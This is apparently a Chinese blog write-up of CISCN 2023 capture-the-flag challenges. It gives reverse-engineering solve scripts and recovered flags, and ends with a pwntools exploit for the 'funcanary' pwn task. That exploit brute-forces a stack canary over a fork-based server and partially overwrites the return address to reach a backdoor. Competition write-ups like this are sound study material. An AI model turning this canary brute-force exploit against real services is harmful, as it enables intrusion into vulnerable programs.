CISCN 2023

好久没有发博客了x_x

Reverse

Ezbyte

这题是64位无壳
从start函数开始看

nput之后将input载入了两个函数
sub_46F4F0k看不出什么东西
看 sub_404C21

得到flag的头部和尾部,跟进 sub_404BF5,但是函数内部看不出什么东西,
回来看看汇编

这里将所有输入传入r12 r13 之类的之后就没有处理了。
再回到main函数

看到有没有被调用的block,推测是cpp异常。

但是没有找到try和catch。只有unwind,再看看其他函数,基本上都被unwind了。那推测可能是cpp异常处理中做了手脚

c++ 异常处理(1) - twoon - 博客园 (cnblogs.com)

应该是对unwind中的字节码修改了,然后再unwind的过程中被折叠。

用readelf -Wwf 读取eh_frame 和dwarf 字节码

得出寄存器逻辑 ,但是这样找不到对比的密文。
推测为自我异或得出0或者非零来确认flag。
写脚本试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
r15enc = 8722213363631027234
r15xor=1890878197237214971
r15add=9123704
r14enc = 2451795628338718684
r14xor=1098791727398412397
r14add=1512312
r13enc = 8502251781212277489
r13xor=1209847170981118947
r13add=8971237
r12enc = 2616514329260088143
r12xor=1237891274917891239
r12add=1892739

def decypto(enc,add,xor):
enc^=xor
enc-=add
return enc
def pe(reg):
flag=''
for i in range(8):
flag+=chr(reg>>i*8&0xff)
print(flag)
r15=decypto(r15enc,r15add,r15xor)
print(hex(r15))
r14=decypto(r14enc,r14add,r14xor)
r13=decypto(r13enc,r13add,r13xor)
r12=decypto(r12enc,r12add,r12xor)
pe(r12)
pe(r13)
pe(r14)
pe(r15)

movAside

这题是mov 混淆,直接调试是调不动的,估计time之前有反调试。输入的flag有一次回显。所有函数都是由plt 表调用的。

改成

Put的位置
然后发现输入和输出是一一对应的。密文在data段内。
这题就可以结束了。
用subproseess或者pwntools都可以爆破。不过我写的时候时间比较紧张,直接手搓了

flag{781dda4e-d910-4f06-8f5b-5c3755182337}

babyre

进入xml内给的网站,import,xml文件

按照流程运行 ,提示输入flag。
点到lock部分,得到全部密文和加密方式

1
2
3
4
5
6
7
list=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]
print(len(list))
for i in range(1,len(list)):
list[i]=list[i]^list[i-1]
print(list)
print(''.join([chr(i) for i in list]))
#flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}

flutterror

这题是fallwind✌给的思路,通过fridahook住android_log ,然后回溯栈调用,找到关键加密函数,提取密文,最后hookcmp函数。还原密文。

问题是我的frida有点问题,起这题的时候一直找不到libflutter。可能是frida版本太高了,也可能是手机自身的问题,我感觉我的安卓环境问题蛮多的。过两天再试试

Pwn

第二题的re不是很会写了。。就写了道pwn

funcanary

通过fork进程爆破canary - zhang293 - 博客园 (cnblogs.com)

fork进程爆破canary+ 局部复用跳转backdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3.8 
from pwn import *
from pwn import p8 , p64 , u32
context.log_level = 'debug'
context(arch='amd64', os='linux')
p=remote('47.95.212.224', 14543)
#p=process('./funcanary')
p.recv()
canary = b'\x00'
for i in range(7):
for j in range(0,256):
payload=b'a'*104 +canary+bytes([j])
p.send(payload)
print(payload)
sleep(0.01)
back = p.recvuntil('welcome\n')
if (b"have fun" in back):
canary += bytes([j])
break
p.sendline(b'a')
for i in range(16):
p.recvuntil(b'welcome\n')
payload=b'a'*104+canary+b'\x00'*8+b'\x2e'+bytes([i*16+2])
p.send(payload)
sleep(0.01)
p.interactive()